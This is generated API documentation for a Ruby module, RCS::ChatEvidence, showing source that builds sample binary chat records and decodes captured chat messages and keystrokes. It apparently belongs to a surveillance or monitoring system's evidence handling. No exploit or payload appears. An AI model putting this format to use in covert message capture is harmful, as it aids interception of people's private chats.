Module: RCS::ChatEvidence
Constant Summary collapse
- ELEM_DELIMITER =
- 0xABADC0DE
- KEYSTROKES =
- ["привет мир", "こんにちは世界", "Hello world!", "Ciao mondo!"] 
Constants included from Chat
RCS::Chat::CHATMM_NOT_RETRIEVED, RCS::Chat::CHAT_INCOMING, RCS::Chat::CHAT_PROGRAM
Constants included from Tracer
Instance Method Summary collapse
Methods included from Chat
Methods included from Tracer
#thread_name, #trace, #trace_ensure_log_folders, #trace_init, #trace_named_put, #trace_named_remove, #trace_nested_pop, #trace_nested_push, #trace_setup
Instance Method Details
#content ⇒ Object
| 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 | # File 'lib/rcs-common/evidence/chat.rb', line 80 def content program = [CHAT_PROGRAM.keys.sample].pack('L') users = ["ALoR", "Bruno", "Naga", "Quez", "Tizio", "Caio"] from = users.sample.to_utf16le_binary_null to = users.sample.to_utf16le_binary_null content = StringIO.new t = Time.now.getutc content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*') content.write program content.write [0].pack('L') content.write from content.write from content.write to content.write to content.write KEYSTROKES.sample.to_utf16le_binary_null content.write [ ELEM_DELIMITER ].pack('L') content.write [t.sec + 5, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*') content.write program content.write [1].pack('L') content.write to content.write to content.write from content.write from content.write KEYSTROKES.sample.to_utf16le_binary_null content.write [ ELEM_DELIMITER ].pack('L') content.string end | 
#decode_content(common_info, chunks) ⇒ Object
| 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 | # File 'lib/rcs-common/evidence/chat.rb', line 115 def decode_content(common_info, chunks) stream = StringIO.new chunks.join until stream.eof? info = decode_from_to(common_info, stream) keystrokes = stream.read_utf16le_string info[:data][:content] = keystrokes.utf16le_to_utf8 unless keystrokes.nil? #trace :debug, "CHAT content: #{info[:data][:content]}" delim = stream.read(4).unpack("L").first raise EvidenceDeserializeError.new("Malformed CHAT (missing delimiter)") unless delim == ELEM_DELIMITER yield info if block_given? end :delete_raw end | 
#generate_content ⇒ Object
| 111 112 113 | # File 'lib/rcs-common/evidence/chat.rb', line 111 def generate_content [ content ] end |